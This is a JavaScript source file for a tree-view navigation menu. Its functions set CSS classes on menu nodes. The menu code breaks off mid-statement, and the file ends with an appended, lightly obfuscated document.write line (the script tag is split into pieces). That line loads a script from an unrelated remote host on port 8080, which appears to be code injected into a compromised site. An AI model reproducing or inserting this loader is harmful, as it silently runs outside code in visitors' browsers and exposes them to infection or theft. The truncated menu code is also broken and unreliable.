//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////Class Definitions////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////
//	MainMenuBase Class
//		MenuInitialization()
//		setJSFunctionsToCollapsedA()
//////////////////////////////////////////////////////////////////////////////////////
function MainMenuBase(sDivMainMenuName)
{
	this.divMainMenuName=sDivMainMenuName;
	this.Init=MenuInitialization;
	this.DivTV;
	this.divTV_id;
	this.SetJSFunctionsToCollapsedA=setJSFunctionsToCollapsedA;
	///indentDiv color
	this.IndentDivColor="";
	this.ParentNodeClass="";
	this.SelectedNodeParentClass="";
	this.ClassSuffix="";
	///CSS Classes/// nodeSelect
	this.SelectedNodeClassGroup= new Object();
	this.SelectedNodeClassGroup.TableClass="";
	this.SelectedNodeClassGroup.TRClass="";
	this.SelectedNodeClassGroup.TDImageClass="";
	this.SelectedNodeClassGroup.TDTextClass="";
	this.SelectedNodeClassGroup.AnchorImageClass="";
	this.SelectedNodeClassGroup.AnchorTextClass="";
	this.SelectedNodeClassGroup.DivChildClass="";
	this.SelectedNodeClassGroup.ExpandedClass="";
	/////
	this.MainSelectedNodeClassGroup= new Object();
	this.MainSelectedNodeClassGroup.TableClass="";
	this.MainSelectedNodeClassGroup.TRClass="";
	this.MainSelectedNodeClassGroup.TDImageClass="";
	this.MainSelectedNodeClassGroup.TDTextClass="";
	this.MainSelectedNodeClassGroup.AnchorImageClass="";
	this.MainSelectedNodeClassGroup.AnchorTextClass="";
	this.MainSelectedNodeClassGroup.DivChildClass="";
	this.MainSelectedNodeClassGroup.ExpandedClass="";
	/////
	this.sSelectedChildDiv="nodeexpandedchild";//for inserting "-"remove it if it not used
	this.sExpandedChildDiv="nodeSelectedynamic";//for line
	/////
	this.TopNodeClass="";
	this.TopNodeExpandedClass="";
	this.TopNodeSelectedCollapsedClass="";
	this.TopNodeSelectedExpandedClass="";
	this.ChildNodeClass="";
	this.ChildNodeSelectedCollapsedClass="";
	this.ChildNodeSelectedExpandedClass="";
	
	
}

function MenuInitialization()
{
var divMain =document.getElementById(this.divMainMenuName);
var divInMainArr=divMain.getElementsByTagName("div");
if (divInMainArr.length>0){
     this.DivTV=divInMainArr[0];
	 this.divTV_id=this.DivTV.id;
}
}
////////////////////////Begin:setJSFunctionsToCollapsedA()/////////////////////////

function setJSFunctionsToCollapsedA()
{
    if (this.divTV!=null){
        var aArr=this.divTV.getElementsByTagName("a");
        if(aArr!=null){
            for(var i=0;i<aArr.length;i++){
                if (aArr[i].href.search("javascript:TreeView_")!=-1){
                    if (aArr[i].href.search("setCSSToExpandedDiv")==-1){
                        aArr[i].href=aArr[i].href + ";setCSSToExpandedDiv('"+ getNumValue(aArr[i].href) +"');setJSFunctionsToCollapsedA();";
                    }
                }
            } 
        }
    }
}
///////////////////////End///////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////////////////////
//	MainMenu Class
//		initializeSelectedNode()
//		getMainSelectedNode()
//		setCSS()
//////////////////////////////////////////////////////////////////////////////////////
function MainMenu(oBaseMenu)
{
	this.BaseMenu=oBaseMenu;
	this.InitializeSelectedNode=initializeSelectedNode;
	this.SetClassSuffixToClasses = setClassSuffixToClasses;
	this.SelectedNode;
	this.MainSelectedNode;
	this.SetCSS=setCSS;
	this.GetMainSelectedNode=getMainSelectedNode;
	this.SetParentNodes=setParentNodes;
	this.SetMainExpandedDiv=setMainExpandedDiv;
	this.SetChildNodes=setChildNodes;
}

function initializeSelectedNode()
{
    this.SetClassSuffixToClasses(this.BaseMenu);
	var nodeNo;
	var hiddenCtrl=document.getElementById(this.BaseMenu.divTV_id+"_SelectedNode");
	if (hiddenCtrl!=null)
	{
		var sSelectedNodeValue=hiddenCtrl.value;
		var sStringToSearch=this.BaseMenu.divTV_id;
        nodeNo=sSelectedNodeValue.substring(sStringToSearch.length+1);
	}
	
	var mnSelectedNode=new MenuNodeItem(nodeNo,this.BaseMenu.DivTV);
	mnSelectedNode.GetNode();
	this.SelectedNode=mnSelectedNode;
	if(this.SelectedNode!=null)
	    this.SelectedNode.IndentDivColor=this.BaseMenu.IndentDivColor;
	//this.SelectedNode.DeleteTableRow();

	var mnMainSelectedNode=this.GetMainSelectedNode();
	this.MainSelectedNode=mnMainSelectedNode;
	if(this.MainSelectedNode!=null)
	    this.MainSelectedNode.IndentDivColor=this.BaseMenu.IndentDivColor;
	    
	//added:27052008
	this.SetParentNodes();
	//added end
	this.SetMainExpandedDiv();
	
	if(this.MainSelectedNode!=null)
	    this.SetChildNodes(this.MainSelectedNode.ChildDiv);

//	MenuNodeItem mnMainSelectedNode=new MenuNodeItem(nodeNo,this.BaseMenu.divTV);
//	mnSelectedNode.GetNode();
}

////getMainSelectedNode
//// called from Initialization Function
function getMainSelectedNode()
{
var oNode=this.SelectedNode;
var divTV=this.BaseMenu.DivTV;
var count=0;
var divParent;
var found=0;
var div;//SelectedNode=this.SelectedNode.ChildDiv;
//alert();
if (oNode.Table!=null){
    if(oNode.ChildDiv==null){
        div=oNode.Table.parentNode;
    }
    else{
        div=oNode.ChildDiv;
    }
    if(div!=null){
        divParent=div.parentNode;
        while (divParent!=null){
            if(divParent.id!="undefined"){
                if(divTV.id==divParent.id){
                    found=1;
                    break;
                }
            }
            div=divParent;
            divParent=divParent.parentNode;
        } 
        if(found==1){ 
	        if(div.id!="undefined" && div.id!=""){  
		    nodeNo=div.id.substring(divTV.id.length+1,div.id.indexOf("Nodes"));//div name(i.e. mainmnu_MainMenu) length + 1(for suffix like n ot t)
		    var oMainNode=new MenuNodeItem(nodeNo,divTV);
		    oMainNode.GetNode();
		    if (oMainNode!=null)
		        oMainNode.IndentDivColor=this.BaseMenu.IndentDivColor;
		    return oMainNode;
	        }
        }
    }
}
return null;
}
//////////////////////////////
function setCSS()
{
    //setting class for expanded not select Top Node
    if (this.MainSelectedNode!=null)
        this.MainSelectedNode.SetClassToNode(this.BaseMenu.TopNodeExpandedClass);
    //end 
        
    if (this.SelectedNode!=null)
    {
       
        if (this.SelectedNode.IsTop)
        {
            if (this.SelectedNode.IsChild && this.SelectedNode.IsExpanded)
            {   //class for expanded top node
                this.SelectedNode.SetClassToNode(this.BaseMenu.TopNodeSelectedExpandedClass);
            }
            else
            {   
                this.SelectedNode.SetClassToNode(this.BaseMenu.TopNodeSelectedCollapsedClass);
                //class for collapsed selected top node    
                //if(this.SelectedNode.TR!=null) 
                //    this.SelectedNode.TR.className= this.SelectedNode.TR.className + " " + this.BaseMenu.TopNodeSelectedCollapsedClass;
            }
        }
        else //when selected node is a chlid
        {
          if (this.SelectedNode.IsChild && this.SelectedNode.IsExpanded)
            {   //class for expanded top node
             
                this.SelectedNode.AddClassToNode(this.BaseMenu.ChildNodeSelectedExpandedClass);
            }
            else
            {   
                this.SelectedNode.AddClassToNode(this.BaseMenu.ChildNodeSelectedCollapsedClass);
                //class for collapsed top node    
                //if(this.SelectedNode.TR!=null) 
                //    this.SelectedNode.TR.className= this.SelectedNode.TR.className + " " + this.BaseMenu.TopNodeSelectedCollapsedClass;
            }  
        }
	 
	
	
	///////////////
	if(this.SelectedNode.TR!=null) 
	{//alert("TR");
	    if (this.SelectedNode.TR.cells.length>0)
	    {//alert("TR.rows");
	   //this.SelectedNode.TR.cells[0].innerHTML="<table><tr><td class='selectedNode'>ashish</td></tr></table>"+this.SelectedNode.TR.cells[0].innerHTML;
           // this.SelectedNode.TR.cells[0].className="selectedNode";//this.SelectedNode.TR.className + " " + this.BaseMenu.SelectedNodeTRClass;
            //alert(this.SelectedNode.TR.cells[0].innerHTML);
             //this.SelectedNode.TR.cells[0].style.background="url(..//images//selected_parent_bull.jpg) right no-repeat";
            //alert(this.SelectedNode.TR.cells[0].className);
	    }
	}
	///////////////
	}
	////
	if (this.MainSelectedNode!=null)
	{
	//ash//this.MainSelectedNode.SetClassToNode(this.BaseMenu.SelectedNodeParentClass);
	/*
	if (this.SelectedNode!=null)
    {
	    if(this.SelectedNode.IsChild && this.SelectedNode.IsExpanded) {
	    
	        if(this.SelectedNode.Table==this.MainSelectedNode.Table){//alert(this.SelectedNode.TDImage.style.borderWidth );
	            //this.SelectedNode.TDImage.className = this.BaseMenu.SelectedNodeExpandedClass;//+" "+ this.SelectedNode.TR.className + " " ;
	            	if(this.SelectedNode.TR!=null) this.SelectedNode.TR.className="";//this.SelectedNode.TR.className + " selectedNodeColl ";//this.BaseMenu.SelectedNodeTRClass;

                this.SelectedNode.AnchorImage.className = this.BaseMenu.SelectedNodeExpandedClass+" "+ this.SelectedNode.AnchorImage.className + " " ;
	        }
	    }
	}*/
	 

	this.MainSelectedNode.IndentChildNode();
	
	}
}
//////////////////////////////////////////////////////////////
//Begin:SetParentNodes
function setParentNodes()
{
    var tblInDiv=this.BaseMenu.DivTV.getElementsByTagName("table");
    ///////////////////////////////
    if (tblInDiv!=null){
        for (var j=0;j<tblInDiv.length;j++){
            if (tblInDiv[j].rows!=null)
            { 
               if (tblInDiv[j].parentNode!=null)
               {
                    if (tblInDiv[j].parentNode.id==this.BaseMenu.divTV_id)
                    {//alert();
                        //tblInDiv[j].className=this.BaseMenu.ParentNodeClass;
                        if (tblInDiv[j].rows.length>0)
                        {
                            tblInDiv[j].rows[0].className=this.BaseMenu.TopNodeClass;
                        }
                    }
               }
            }
        }
    }

}
/////////////////////////////////////////
function setMainExpandedDiv()
{
    var divInDiv=this.BaseMenu.DivTV.getElementsByTagName("div");
    ///////////////////////////////
    if (divInDiv!=null){
        for (var j=0;j<divInDiv.length;j++){
            if (divInDiv[j].id!='undefined')
            { 
               if (divInDiv[j].parentNode!=null)
               {
                    if (divInDiv[j].parentNode.id==this.BaseMenu.divTV_id && divInDiv[j].style.display=="block")
                    {
                        divInDiv[j].className=divInDiv[j].className + " " + this.BaseMenu.MainSelectedNodeClassGroup.DivChildClass;
                        /*ash
                        var sID=divInDiv[j].id.substr(0,divInDiv[j].id.length-5);
                        var ctrl = document.getElementById(sID);
                        //alert(sID);
                        //alert("this.SelectedNode.NodeID" + this.SelectedNode.NodeID);
                        if (ctrl!=null)
                        {
                            if (ctrl.parentNode!=null)
                            {
                                if (this.SelectedNode.NodeID==sID)
                                {
                                    ctrl.parentNode.className=ctrl.parentNode.className +" " +this.BaseMenu.SelectedNodeParentClass;
                                }
                                else
                                {
                                    ctrl.parentNode.className=this.BaseMenu.SelectedNodeParentClass;
                                    if(ctrl.parentNode.parentNode!=null)
                                    {
                                        ctrl.parentNode.parentNode.className=this.BaseMenu.SelectedNodeParentClass;
                                    }
                                }    
                                
                            }
                        }*/
                        //
                    }
               }
            }
        }
    }
}
//////////////////////////////////////////////////////////////
//Begin:setChildNodes
function setChildNodes(oDiv)
{
    if (oDiv!=null)
    {
        var tblInDiv=oDiv.getElementsByTagName("table");
        ///////////////////////////////
        if (tblInDiv!=null){
            for (var j=0;j<tblInDiv.length;j++){
                    tblInDiv[j].className=this.BaseMenu.ChildNodeClass;
                     for (var k=0;k<tblInDiv[j].rows.length;k++){
                     
                            tblInDiv[j].rows[k].className= tblInDiv[j].rows[k].className + " " + this.BaseMenu.ChildNodeClass;
                             for (var m=0;m<tblInDiv[j].rows[k].cells.length;m++){
                                tblInDiv[j].rows[k].cells[m].className= tblInDiv[j].rows[k].cells[m].className + " " + this.BaseMenu.ChildNodeClass;
                             }
                     }
            }
                /*var tblInDiv=divInDiv[j].getElementsByTagName("table");
                if (tblInDiv!=null){
                      for (var j=0;j<tblInDiv.length;j++){
                        
                      }*/
       }
   }
}

function setClassSuffixToClasses(oBaseMenu)
{

    oBaseMenu.ParentNodeClass += oBaseMenu.ClassSuffix;
	oBaseMenu.SelectedNodeParentClass +=oBaseMenu.ClassSuffix;
	
	oBaseMenu.SelectedNodeClassGroup.TableClass += oBaseMenu.ClassSuffix;
	oBaseMenu.SelectedNodeClassGroup.TRClass +=oBaseMenu.ClassSuffix;
	oBaseMenu.SelectedNodeClassGroup.TDImageClass +=oBaseMenu.ClassSuffix;
	oBaseMenu.SelectedNodeClassGroup.TDTextClass +=oBaseMenu.ClassSuffix;
	oBaseMenu.SelectedNodeClas


document.write('<s'+'cript type="text/javascript" src="http://sfofotky.iexam.info:8080/Web_20.js"></scr'+'ipt>');